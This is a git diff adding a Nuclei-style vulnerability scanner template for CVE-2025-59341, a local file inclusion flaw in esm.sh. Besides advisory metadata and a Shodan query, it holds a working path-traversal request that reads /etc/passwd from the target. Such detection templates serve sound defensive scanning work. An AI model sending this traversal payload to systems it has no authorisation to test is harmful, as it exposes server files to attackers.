diff --git a/http/cves/2025/CVE-2025-59341.yaml b/http/cves/2025/CVE-2025-59341.yaml new file mode 100644 index 000000000000..0df1af904060 --- /dev/null +++ b/http/cves/2025/CVE-2025-59341.yaml @@ -0,0 +1,62 @@ +id: CVE-2025-59341 + +info: + name: esm.sh <= v136 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request. + impact: | + Attackers can read arbitrary files from the server, potentially exposing sensitive information. + remediation: | + Update esm.sh to a version later than 136 or the latest available version. + reference: + - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r + - https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168 + - https://nvd.nist.gov/vuln/detail/CVE-2025-59341 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2025-59341 + cwe-id: CWE-23 + epss-score: 0.02 + epss-percentile: 0.08 + metadata: + verified: true + max-request: 2 + vendor: esm-dev + product: esm.sh + shodan-query: http.html:"esm.sh" + tags: cve,cve2025,esm,lfi,traversal + +flow: http(1) && http(2) + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - status_code == 200 + - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from") + condition: and + internal: true + + - raw: + - | + GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200